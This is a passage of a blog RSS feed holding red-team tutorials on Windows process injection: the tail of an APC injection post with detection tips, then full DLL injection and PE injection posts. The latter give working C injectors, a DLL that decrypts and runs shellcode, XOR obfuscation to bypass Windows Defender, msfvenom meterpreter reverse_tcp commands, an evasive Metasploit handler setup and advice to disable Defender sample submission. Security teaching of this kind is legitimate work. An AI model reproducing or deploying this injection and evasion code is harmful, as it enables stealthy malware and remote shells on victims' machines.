src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fstreamable.com%2Fo%2Fagu5po&amp;display_name=Streamable&amp;url=https%3A%2F%2Fstreamable.com%2Fagu5po&amp;image=https%3A%2F%2Fcdn-cf-east.streamable.com%2Fimage%2Fagu5po.jpg%3FExpires%3D1696501920%26Signature%3DFZtGjVdEgjBjGr3zOnNxhb8knFnL9zQA4FpfqZX5K80jtdRLgYUfuYaTAWmT03rIoxq4l5lCHMQSxWDBEN5HpOHhGQ6aJE6o1D6qR%7ELS2BI9mrMe5WDhat6OkJ33HMwdwlpyzKsqhurAKV85uenE2UF-yRvJd3zFFvSTUw9yVSp-ZUZe1gzCnvMxeX7ddFIKmOsF7bnPzd8QEjItksCgNibRykC1Xw%7Ekm3YEbRJHgRHBAOz6exwup0Rw7QFm1QbcS7dUdGgPkbBz654u30spJnryUGSdHG9lb6enmpqrPzMN8yr0NwaObxCz%7EH0XjlSWDKMaXmYvLqoW3FEybMnLdQ__%26Key-Pair-Id%3DAPKAIEYUVEN4EVB2OKEQ&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=streamable" width="1280" height="518" frameborder="0" scrolling="no"><a href="https://medium.com/media/31c002ea671f8db9da73c4d6c7e38245/href">https://medium.com/media/31c002ea671f8db9da73c4d6c7e38245/href</a></iframe><h3>Detection of APC injection</h3><p>There are multiple ways of detecting this injection. First of all, the target process we chose explorer.exe doesn’t make internet connections, so something like this would be a reason to panic:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*sF98yCuv2g9vXQL6qywKqg.png" /><figcaption>Screenshot from <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer">process explorer</a> from the <a href="https://learn.microsoft.com/en-us/sysinternals/">sysinternals suite</a>.</figcaption></figure><p>Additionally, we can catch the communication with <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon">Procmon</a>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*rf8Mr0w8CdcCuwL4FWAw_Q.png" /><figcaption>Explorer.exe talking over TCP monkaS.</figcaption></figure><p>Further, we can use Splunk for a more detailed analysis:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*FjU0krJwrEXnVyVXS9UOkQ.png" /><figcaption>Sysmon event ID 10</figcaption></figure><p>In the previous picture, we see the Sysmon event ID 10, which corresponds to one process accessing another. We know our process will access another since we call OpenProcess and here we see that our APC injection executable interacts with explorer.exe. We can also detect the network connection with Sysmon event ID 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/593/1*0BYAVOsLLtupcjIl5-n7Xw.png" /><figcaption>Sysmon event ID 3</figcaption></figure><p>Here we again see explorer.exe reaching out to the internet, and it’s also mentioned that the connection is on a non-standard port.</p><h3>Conclusion</h3><p>This post, hopefully, explained how to perform APC injection, while also showcasing detection mechanisms for it. Feel free to reach out to me or leave a comment if you have a question, I’ll get back to you ASAP. If you enjoyed the post feel free to follow and clap for the post (it’s free :D). Additionally, stay tuned for additional posts on process injection as well as the start of a new series on Active Directory and Kerberos.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=28dfa72be7f8" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Process Injection Series Part II: DLL Injection]]></title>
            <link>https://infosecwriteups.com/process-injection-series-part-ii-dll-injection-628591b26e0a?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/628591b26e0a</guid>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[winapi]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[antivirus-evasion]]></category>
            <category><![CDATA[red-teaming]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Sat, 05 Aug 2023 15:07:42 GMT</pubDate>
            <atom:updated>2023-08-13T12:00:37.272Z</atom:updated>
            <content:encoded><![CDATA[<p>Using MITRE Technique T1055.001 to bypass Windows Defender</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I2wb4sQVxDuLKNIZ3HRskg.png" /></figure><p>Welcome to the next installment of the process injection series. We will be exploring DLL injection in this one. Get your Visual Studio and MSDN pages ready to fully advance your knowledge on this topic!</p><h3>*Mandatory Disclaimer*</h3><p>Methods and code shown in this series are solely to be used as learning examples. I take no responsibility for the misuse of the methods and code shown.</p><h4>DLL Injection, what is it?</h4><p>As this is a continuation of my previous <a href="https://medium.com/bugbountywriteup/process-injection-series-part-i-pe-injection-615b761513fe">blog post</a>, I’ll assume you already know what a process is.</p><p>You can think of DLLs (Dynamic-link Libraries) as small programs that a bigger program can load. DLLs export functions via their export table, that then other programs can use. An example of a DLL is Kernel32.dll. You can find the functions that this DLL provides <a href="https://www.geoffchappell.com/studies/windows/win32/kernel32/api/index.htm">here</a>.</p><p>Loading Kernel32 allows a program to use the functions exported by it, rather than having to implement their own functions.</p><p>DLL injection abuses that fact, by creating a malicious DLL and loading it into the memory of the process an attacker can achieve code execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/652/0*rTFZOe3n0j_gB3Bo.gif" /><figcaption>Source of the gif: <a href="https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process</a></figcaption></figure><p>The steps to this attack are similar to PE injection. The attacker performs the following steps:</p><ul><li>Obtains a handle on the target process</li><li>Allocates the required memory inside the process</li><li>Writes the DLL path (DLL is required to be on disk)</li><li>Starts a new thread</li></ul><p>Once the DLL is loaded, it can execute its payload. The payload can wildly differ from cmd one-liners to shellcode injection. In this post, I’ll showcase the shellcode injection method as I believe it’s more OPSEC-friendly than starting a cmd prompt.</p><p>The DLL will:</p><ul><li>Allocate memory for the shellcode</li><li>Copy the shellcode to the allocated space</li><li>Start a new thread</li></ul><p>As in previous cases, the code will be available on my <a href="https://github.com/EchoSl0w/Process_Injection_Techniques/tree/main/WinAPIs/T1055.001">GitHub</a>.</p><h4>Writing the injector and payload</h4><p>The code will use WinAPIs to achieve our goal. Unlike PE injection, this will require dropping a DLL to the disk of our target.</p><pre> int pid = atoi(argv[1]);<br><br> printf(&quot;Obtaining handle to target process&quot;);<br> HANDLE hProcess = OpenProcess(PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_CREATE_THREAD, 0, pid);<br> if (hProcess == NULL) {<br>  Error(&quot;Failed in obtaining handle to process&quot;);<br> }<br> printf(&quot;Allocating memory...\n&quot;);<br> void* buffer = VirtualAllocEx(hProcess, NULL, 1 &lt;&lt; 12, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);<br> if (buffer == NULL) {<br>  Error(&quot;Failed in allocating memory&quot;);<br> }<br> printf(&quot;Writing memory...\n&quot;);<br> if (!WriteProcessMemory(hProcess, buffer, argv[2], strlen(argv[2]), NULL)) {<br>  return Error(&quot;Failed in WriteProcessMemory&quot;);<br> }<br> printf(&quot;Creating remote thread...\n&quot;);<br> HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0,<br>  (LPTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(L&quot;kernel32&quot;), &quot;LoadLibraryA&quot;),<br>  buffer, 0, NULL);<br> if (!hThread)<br>  return Error(&quot;Failed to create thread&quot;);<br> printf(&quot;SUCCESS!&quot;);</pre><blockquote>As before, if you want to learn more about each of the functions, you can visit their respective MSDN page</blockquote><p>Starting off, our injector opens a handle to the target process via OpenProcess. This function requires the following arguments:</p><ul><li>Desired <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">access</a> to the process</li><li>Inherit value</li><li>PID of the target process</li></ul><p>The desired access is a way to additionally reduce our detection rates. We could request full access to the process, but if we request only the bare minimum of permissions needed we can avoid suspicion.</p><p>The code obtains the PID via a command line argument, but there are ways to obtain a PID automatically. One example would be to use <a href="https://learn.microsoft.com/en-us/windows/win32/api/tlhelp32/nf-tlhelp32-createtoolhelp32snapshot"><strong>CeateToolhelp32Snapshot</strong></a><strong> </strong>to create a snapshot of all processes and then iterate through them to find the desired target process.</p><p>It’s of course desired to handle any exceptions that could arise while using these functions, OpenProcesscan fail and the error should be handled.</p><p>Moving on, the next function used is <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex"><strong>VirtualAllocEx</strong></a>, which requires the following arguments:</p><ul><li>Handle to a process</li><li>Pointer to a starting address (optional)</li><li>The size of memory to allocate</li><li>What type of memory to reserve</li><li>The memory protection of the allocated region</li></ul><p>Here we can see the first difference between PE injection and DLL injection. Since in PE injection, we are writing shellcode, we need the memory location to be executable, this then leads to a memory location that has RWX permissions. In this case, a memory location with only RW permissions is sufficient, as the DLL won’t itself be executed.</p><p>Additionally the &lt;&lt; is a binary operator, it’s effectively multiplying 1 by 2 to the 12th power.</p><p>The next step is to write the path of our DLL into the allocated memory space. This is achieved via <strong>WriteProcessMemory</strong>, which takes the following arguments:</p><ul><li>Handle to a process</li><li>Pointer to the base of the memory to write to</li><li>Pointer to the buffer containing the data to be written</li><li>Number of bytes to be written</li><li>A pointer to a variable that receives the number of bytes written (optional)</li></ul><p>When providing the DLL path, make sure it’s the full system path. The DLL might be local to the injector but to the target process, it won’t be.</p><p>Finally, we start a new thread via <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread"><strong>CreateRemoteThread</strong></a>. This function requires the following arguments:</p><ul><li>A handle to the process</li><li>A pointer to a SECURITY_ATRIBUT, if <strong>NULL</strong> uses the default security descriptor</li><li>Initial size of the stack, if 0 uses the default size of the executable</li><li>A pointer to the starting point of the function in the remote process</li><li>A pointer to the arguments to be passed to the thread function</li><li>A value that controls the state of the created thread</li><li>Pointer to a variable that receives the thread identifier</li></ul><p>Here we can see an additional change, since we are using DLLs we need to use the <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya"><strong>LoadLibraryA </strong></a>function in the remote process, but to use CreateRemoteThread we need to obtain the address for the function we intend to use. We can use <a href="https://learn.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress"><strong>GetProcAddress</strong></a><strong> </strong>to obtain the address of function, it requires the following arguments:</p><ul><li>The module name</li><li>The desired function</li></ul><p>GetProcAddress returns the address of LoadLibraryA, and since Windows guarantees that the location of all core DLLs and functions is the same across all processes, we can use that value in the remote process. Finally, we need to cast the return value to LPTHREAD_START_ROUTINE.</p><p>With that, we pass the execution flow to the DLL. The DLL will host our shellcode and inject it into the local process.</p><blockquote><strong>Note: DO NOT USE SHELLCODE FROM THE INTERNET</strong></blockquote><pre>#include &quot;pch.h&quot;<br>#include &quot;Windows.h&quot;<br><br>unsigned char shellcode[] = &quot;xor&#39;d shellcode&quot;<br><br>int run()<br>{    <br>    HANDLE hThread = nullptr;<br><br>    char key = &#39;key&#39;;<br>    int i = 0;<br>    for (i; i &lt; sizeof(shellcode) - 1; i++)<br>    {<br>        shellcode[i] = shellcode[i] ^ key;<br>    }<br><br> void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);<br> memcpy(exec, shellcode, sizeof(shellcode));<br><br>    hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)exec, NULL, 0, NULL);<br>    if (!hThread) {<br>        return 1;<br>    }<br> //((void(*)())exec)();<br><br> return 0;<br>}<br><br>BOOL APIENTRY DllMain( HMODULE hModule,<br>                       DWORD  ul_reason_for_call,<br>                       LPVOID lpReserved<br>                     )<br>{<br>    switch (ul_reason_for_call)<br>    {<br>    case DLL_PROCESS_ATTACH:<br>        run();<br>        break;<br>    case DLL_THREAD_ATTACH:<br>    case DLL_THREAD_DETACH:<br>    case DLL_PROCESS_DETACH:<br>        break;<br>    }<br>    return TRUE;<br>}</pre><p>I generated my shellcode with the following command msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=&lt;IP&gt; LPORT=&lt;PORT&gt; -f c.</p><p>To avoid AV, we need to obfuscate the shellcode. We can still use the <a href="https://github.com/EchoSl0w/Process_Injection_Techniques/blob/main/WinAPIs/T1055.002/xor_enc.cpp">simple XOR script</a> I made for my previous injection technique.</p><p>We will also do a trick, we will declare our shellcode as a global variable. This in turn will move our shellcode from the .text section to the .data section of our DLL.</p><p>Our function run will first XOR our shellcode again (returning it to the original shellcode), after which it will allocate the memory needed using VirtualAlloc.</p><p>Here we can see the usual permission of RWX required. There is a way to make this less suspicious, we would first set the permissions to RW, write our shellcode, then set the permissions to RX to not invoke suspicion. Feel free to try and implement this as an exercise.</p><p>After allocating the space, we copy the shellcode to the allocated region. Now we can just execute that code? Right…?</p><p>Introducing <a href="https://learn.microsoft.com/en-us/dotnet/framework/debug-trace-profile/loaderlock-mda">LoaderLock</a>, it’s a subsystem whose job is to ensure only one thread is ever modifying a module list at a given moment. It’s mostly a safeguard that ensures initialization and cleanup of tasks are done in a safe manner inside the DLL.</p><p>In our case, this prevents the running of the shellcode directly, but an easy “bypass” is just to create a new thread and execute the shellcode in that thread.</p><p>We add the function run to the DLL_PROCESS_ATTACH case to ensure it’s called as soon as the DLL is loaded. With that, we obtain code execution.</p><h4>Bypassing Defender and Demo</h4><p>If we were to run the injection as is, Defender would alert. After trial and error, I realized that the alert was happening on the 2nd stage payload, rather than on the initial payload. Luckily, Metasploit offers encoders for their 2nd stages. Additionally, we can set AutoLoadStdApi to false. This loads all the commands provided by Meterpreter. The reason we use that option is to reduce the probability of us being detected, we can always load the API after obtaining the shell.</p><p>The final reverse shell handler then looks like this:</p><pre>msf6 exploit(multi/handler) &gt; set PAYLOAD windows/x64/meterpreter/reverse_tcp<br>PAYLOAD =&gt; windows/x64/meterpreter/reverse_tcp<br>msf6 exploit(multi/handler) &gt; set autoloadstdapi false<br>autoloadstdapi =&gt; false<br>msf6 exploit(multi/handler) &gt; set stageencoder ppc/longxor<br>stageencoder =&gt; ppc/longxor<br>msf6 exploit(multi/handler) &gt; run</pre><p>And the demo:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fstreamable.com%2Fo%2Fdhxb6v&amp;display_name=Streamable&amp;url=https%3A%2F%2Fstreamable.com%2Fdhxb6v&amp;image=https%3A%2F%2Fcdn-cf-east.streamable.com%2Fimage%2Fdhxb6v.jpg%3FExpires%3D1691493300%26Signature%3DSWpp5U-4sOTmtAR5U-pQ6hasdvK7LHtWFpfhQb8%7Esc8kyv2TJXcCajetCbEMeQ76VbFxY4vfRRrzn9Co8K6B25y0PaWF7T634MaEs9CsrD8833ZfgMj7Zb2KL4CjEJ%7E%7EHJJynSOV4M%7ExN3%7EoOAJ0adlaMGAlyL0lWHNYFARXshijL7g3USkcrRnYfPH-eKDAenZF1Vbxj4DQrzaREnYkKMGU9OI7l%7EVDP6wtFXd3fwq8%7EyTR8X4KBA8EcBoCbPb2eZaMnXQGzn6OSwzpCT4pCUdJ9Sf5uQB8okfvJEHemArNWRMEUgH8oGPzN8vvn1rZmXvxrNqHGy2aFnGwT%7Ese%7Ew__%26Key-Pair-Id%3DAPKAIEYUVEN4EVB2OKEQ&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=streamable" width="1278" height="464" frameborder="0" scrolling="no"><a href="https://medium.com/media/b1340120dbc754cddda3a0d38c5649c9/href">https://medium.com/media/b1340120dbc754cddda3a0d38c5649c9/href</a></iframe><h4>The end</h4><p>I’ll continue working on process injection as it’s a great learning opportunity. DLL injection in itself is not widely used, since it requires a DLL to be on disk, but reflective DLL loading is a way to avoid such an issue. These initial techniques and their code can be upgraded step-by-step to more advanced exploitation techniques. One should not disregard the basics when learning new things!</p><p>A few pointers to improve the code:</p><ul><li>Find the target process automatically</li><li>Allocate memory space in a way that reduces suspicion</li><li>Use <a href="https://wirediver.com/windows-peb-parsing-a-binary-with-no-imports/">this</a> to reduce the number of imports</li></ul><p>Feel free to comment and reach out with questions, I’d gladly try to answer them :D.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=628591b26e0a" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/process-injection-series-part-ii-dll-injection-628591b26e0a">Process Injection Series Part II: DLL Injection</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Process Injection Series Part I: PE Injection]]></title>
            <link>https://infosecwriteups.com/process-injection-series-part-i-pe-injection-615b761513fe?source=rss-a756e879990d------2</link>
            <guid isPermaLink="false">https://medium.com/p/615b761513fe</guid>
            <category><![CDATA[process-injection]]></category>
            <category><![CDATA[av-evasion]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[winapi]]></category>
            <dc:creator><![CDATA[Echo_Slow]]></dc:creator>
            <pubDate>Tue, 13 Jun 2023 11:01:47 GMT</pubDate>
            <atom:updated>2023-06-13T11:01:47.879Z</atom:updated>
            <content:encoded><![CDATA[<h4>Showcase of MITRE Technique T1055.002 with a working example</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*Eqq1cOQKQfwg_8NQKyHxlA.png" /></figure><p>While the job of the Red Team is to train the Blue Team, there is something addictive in the constant cat-and-mouse game of developing payloads that bypass detection. This series will cover these techniques with progressing complexity — from WinAPIs to (in)direct syscalls.</p><h3><strong>*DISCLAIMER*</strong></h3><p>Methods and code shown in this series are solely to be used as learning examples. I take no responsibility for the misuse of the methods and code shown.</p><h3>What is Process injection? What is a “process”?</h3><p>As this is the first entry in the series, it would be fit to explain these things. Further entries will assume you have read this, or have previous knowledge of process injection.</p><p>From Microsoft: A <em>process</em>, in the simplest terms, is an executing program. Further, a process consists of the following:</p><ul><li><strong>private virtual address space</strong></li><li><strong>executable program</strong></li><li><strong>list of open handles</strong></li><li><strong>security context</strong></li><li><strong>process ID</strong></li><li>and at <strong>least one thread</strong>.</li></ul><p>While a detailed explanation of the aforementioned parts exists, it’s beyond the scope of this blog. If you want to learn more about this topic, the Windows Internals books are great.</p><p>Process injection on the other hand is the injection of malicious code into a non-malicious process, thereby achieving stealthy infection of a system. Depending on the technique used, there are multiple ways of achieving process injection. The technique discussed in this post achieves process injection via the following mechanisms:</p><ul><li>It opens a <strong>handle</strong> to the victim process via the WinAPI OpenProcess function</li><li>It <strong>allocates</strong> the memory inside the victim process via VirtualAllocEx</li><li>After allocating, it <strong>writes</strong> the payload (shellcode) to the location via WriteProcessMemory</li><li>Finally, it starts the execution of the shellcode with a <strong>new thread</strong> created via CreateRemoteThread</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/738/0*L5Ew2x5-27peaWJm.gif" /><figcaption>Source of the gif: <a href="https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process">https://www.elastic.co/blog/ten-process-injection-techniques-technical-survey-common-and-trending-process</a></figcaption></figure><h3><strong>Creating the example</strong></h3><p>Since we are using WinAPIs to achieve process injection, most of the work is done with the inclusion of the windows.h header file which contains the above-mentioned functions.</p><p>The full code will be available on my <a href="https://github.com/EchoSl0w/Process_Injection_Techniques/blob/main/WinAPIs/T1055.002/Simple_Injection.cpp">GitHub</a>. The below snippet shows the core of the injection.</p><pre><br>int pid = atoi(argv[1]);<br>HANDLE hProcess, hRemoteThread = nullptr;<br>void* pBuffer = nullptr; <br><br>printf(&quot;[*]Opening handle to process\n&quot;);<br> hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);<br> if (!hProcess)<br>  return Error(&quot;Failed in opening handle to process&quot;);<br><br> printf(&quot;[*]Allocating memory inside target process\n&quot;);<br> pBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br> if (!pBuffer)<br>  return Error(&quot;Failed in VirtualAllocEx&quot;);<br><br> printf(&quot;[*]Writing shellcode inside target process\n&quot;);<br> if (!WriteProcessMemory(hProcess, pBuffer, code, sizeof(code), nullptr)) {<br>  return Error(&quot;Failed in WriteProcessMemory&quot;);<br> }<br><br> printf(&quot;[*]Executing shellcode, check for shell\n&quot;);<br> hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuffer, NULL, 0, NULL);<br> if (!hRemoteThread)<br>  return Error(&quot;Failed to create thread&quot;);</pre><blockquote>Quick note, if you want to learn more about these functions, you can visit the MSDN webpage of the function.</blockquote><p>First of all, we open a handle to the victim process via OpenProcess. <a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-openprocess"><strong>OpenProcess </strong></a>requires 3 arguments:</p><ul><li>Desired <a href="https://learn.microsoft.com/en-us/windows/win32/procthread/process-security-and-access-rights">access</a> to the process</li><li>Inherit value</li><li>PID of the target process</li></ul><p>In this case, we request full access to the process via PROCESS_ALL_ACCESS (not really necessary), set the inherit value to 0, and finally set the PID to the argument passed via the CLI.<br>Since this can fail, especially due to the permissions we are asking for, we check the return value of OpenProcess, which returns <strong>NULL</strong> if it fails. We handle that case with the custom <strong>Error</strong> function.</p><p>If a handle is created, we move to the next part which is the allocation of memory. <a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-virtualallocex"><strong>VirtualAllocEx</strong></a><strong> </strong>requires 5 arguments:</p><ul><li>Handle to a process</li><li>Pointer to a starting address (optional)</li><li>The size of memory to allocate</li><li>What type of memory to reserve</li><li>The memory protection of the allocated region</li></ul><p>In our case, we pass in the value returned from OpenProcess as our first argument. We set the starting address to <strong>nullptr</strong>,<strong> </strong>and the size of the memory to allocate is the size of our shellcode. For the fourth parameter, we have to reserve the memory and commit it, luckily MSDN provides the following: <em>To reserve and commit pages in one step, call VirtualAllocEx with </em><em>MEM_COMMIT | MEM_RESERVE. </em>Finally, we set the memory protection to RWX (<strong>this is a big red flag</strong>).</p><p>The return value on success is a pointer to the base of the memory address, we need to save that as it’s used in WriteProcessMemory.</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/memoryapi/nf-memoryapi-writeprocessmemory"><strong>WriteProcessMemory</strong></a><strong> </strong>takes also 5 arguments:</p><ul><li>Handle to a process</li><li>Pointer to the base of the memory to write to</li><li>Pointer to the buffer containing the data to be written</li><li>Number of bytes to be written</li><li>A pointer to a variable that receives the number of bytes written (optional)</li></ul><p>As the first argument we supply the handle to the process opened in step 1, the second argument is the pointer returned from VirtualAllocEx, and the third argument is a pointer to the shellcode. In my case, the shellcode is stored in a variable with the type of unsigned char[] which is an array, arrays are passed as a pointer to the first object. Further, we need to tell the function how many bytes we want to write, in this case, it’s the size of our shellcode, and as the final argument we use a <strong>nullptr.</strong></p><p>Once the shellcode is written, we have to somehow execute it. For that, we can use a thread. I’ve already pointed out that each process has a thread, but a thread in the simplest terms is an execution context that has everything a processor needs to execute instructions (shellcode). We use CreateRemoteThread to create a new thread in a remote process.</p><p><a href="https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createremotethread"><strong>CreateRemoteThread</strong></a><strong> </strong>takes 7 arguments:</p><ul><li>A handle to the process</li><li>A pointer to a SECURITY_ATRIBUT, if <strong>NULL</strong> uses the default security descriptor</li><li>Initial size of the stack, if 0 uses the default size of the executable</li><li>A pointer to the starting point of the thread in the remote process</li><li>A pointer to the arguments to be passed to the thread function</li><li>A value that controls the state of the created thread</li><li>Pointer to a variable that receives the thread identifier</li></ul><p>As always the handle to the process is the one we opened at the start, we use <strong>NULL</strong> for the security attribute and 0 for the third argument. The pointer to the starting point of our thread is the value returned by VirtualAllocEx, we only need to cast the value to <strong>LPTHREAD_START_ROUTINE</strong>, the rest of the arguments can be NULL.<br>As with all the functions, this can also fail and you should handle such a case.</p><p>This covers the technique, but I have left out the most important part. The <strong>shellcode.</strong></p><h3>Generating the shellcode</h3><blockquote>DON’T USE SHELLCODE FROM THE INTERNET</blockquote><p>We will use shellcode generated via <strong>msfvenom</strong>. For test purposes, you can use the message box payload, but I’ll showcase the meterpreter payload. The thing is, whatever shellcode you generate, Defender will flag it since <strong>msfvenom </strong>is heavily fingerprinted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*4g4Rn-jzaoKUufd4LnUFhQ.png" /><figcaption>Shellcode without obfuscation is caught.</figcaption></figure><p>This is also a good moment to point out that if you are doing this on a Windows machine, consider turning off <strong>Automatic Sample Submission</strong> and <strong>Cloud-delivered protection. </strong>We don’t want our payloads to be rendered useless with the next Defender update…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*OoftIGcSl4Xx5hjA1z9Emw.png" /><figcaption>Settings to turn off.</figcaption></figure><p>How do we get our shellcode by Defender? Well, it’s simple really. We can use an <strong>XOR</strong> operation on our shellcode.</p><p>First, we generate the shellcode with:</p><p>msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=$IP LPORT=$PORT -f c</p><p>This will output a bunch of hex values that represent assembly commands. We need to take that shellcode and create a script that will iterate through it and <strong>XOR</strong> it against a key. The <strong>XOR </strong>encryption script is shown below:</p><pre>#include &lt;stdio.h&gt;<br><br>int main()<br>{<br>    unsigned char code[] = &quot;\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\...&quot;;<br><br> char key = &#39;ABCD&#39;;<br> int i = 0;<br> for (i; i &lt; sizeof(code); i++)<br> {<br>  printf(&quot;\\x%02x&quot;, code[i] ^ key);<br> }</pre><p>I’ve gotten the script from this <a href="https://redops.at/en/blog/meterpreter-vs-modern-edrs-in-2023">Redops article</a>. The script will also output a bunch of hex values.</p><p>We take those hex values and put them inside our injector, while also adding a decoder inside our process injector:</p><pre> char key = &#39;ABCD&#39;;<br> int i = 0;<br> for (i; i &lt; sizeof(code) - 1; i++)<br> {<br>  code[i] = code[i] ^ key;<br> }</pre><p>With such a simple addition we now bypass Defender. The full code of the injector is below.</p><pre>#include &lt;windows.h&gt;<br>#include &lt;stdio.h&gt;<br><br><br>int Error(const char* msg) {<br> printf(&quot;%s (%u)\n&quot;, msg, GetLastError);<br> return 1;<br>}<br><br>int main(int argc, char *argv[]) {<br><br> int pid = atoi(argv[1]);<br><br> HANDLE hProcess, hRemoteThread = nullptr;<br> void* pBuffer = nullptr;<br><br> unsigned char code[] = &quot;xor&#39;ed_shellcode&quot;;<br><br> char key = &#39;ABCD&#39;;<br> int i = 0;<br> for (i; i &lt; sizeof(code) - 1; i++)<br> {<br>  code[i] = code[i] ^ key;<br> }<br><br> printf(&quot;[*]Opening handle to process\n&quot;);<br> hProcess = OpenProcess(PROCESS_ALL_ACCESS, 0, pid);<br> if (!hProcess)<br>  return Error(&quot;Failed in opening handle to process&quot;);<br><br> printf(&quot;[*]Allocating memory inside target process\n&quot;);<br> pBuffer = VirtualAllocEx(hProcess, nullptr, sizeof(code), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);<br> if (!pBuffer)<br>  return Error(&quot;Failed in VirtualAllocEx&quot;);<br><br> printf(&quot;[*]Writing shellcode inside target process\n&quot;);<br> if (!WriteProcessMemory(hProcess, pBuffer, code, sizeof(code), nullptr)) {<br>  return Error(&quot;Failed in WriteProcessMemory&quot;);<br> }<br><br> printf(&quot;[*]Executing shellcode, check for shell\n&quot;);<br> hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pBuffer, NULL, 0, NULL);<br> if (!hRemoteThread)<br>  return Error(&quot;Failed to create thread&quot;);<br><br> CloseHandle(hRemoteThread);<br> CloseHandle(hProcess);<br><br> return 0;<br>}</pre><p>The script requires that we pass the <strong>PID </strong>of the target process manually.</p><h3>Demo</h3><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fstreamable.com%2Fo%2F8ruigy&amp;display_name=Streamable&amp;url=https%3A%2F%2Fstreamable.com%2F8ruigy&amp;image=https%3A%2F%2Fcdn-cf-east.streamable.com%2Fimage%2F8ruigy.jpg%3FExpires%3D1686696060%26Signature%3DXMHj3YIceapbVW4PkjSOvC6W37e3BcH-fJjqSh5h7Or7E%7Est9-0mtUcvTlCCk8WigiRfPXh-OSZJ33Im7apTqJcGIgFKmLlnafdFIvdixqXMlmcl2L4x7chCrR8LApAxNwg9J0yeG%7EdV7iOSLPO8FtdWtMRo5cv8zKDtAi5W1WjxC6pdUDOFrC7NXe2AwiOfE3sJVcZ%7ESulyAGeJqETeY%7EiKefd8jZ4hCa5PBhym2MGQTkyF8C4E6pyuy-BqVBDRgtDiub56KEmtCLlw7EvpH53FDJOMnsl3Pp5gG0TEBtKcX-GhO-oWNmaS77O8Dhp7xjqA6LdPN4PxAJ2ExrJIug__%26Key-Pair-Id%3DAPKAIEYUVEN4EVB2OKEQ&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=streamable" width="1279" height="494" frameborder="0" scrolling="no"><a href="https://medium.com/media/9cfa9f601f97f3f9f6e95281ed356053/href">https://medium.com/media/9cfa9f601f97f3f9f6e95281ed356053/href</a></iframe><h3>Next steps</h3><p>There are multiple improvements possible. Here’s a non-exhaustive list:</p><ul><li>Find a way to obtain a victim PID automatically</li><li>Reduce the permissions requested in OpenProcesssy</li><li>Don’t allocate RWX memory</li><li>Use the underlying functions called by the WinAPIs</li><li>Add sandbox evasion</li><li>…</li></ul><p>I will keep updating the project on my GitHub and add new things as I get 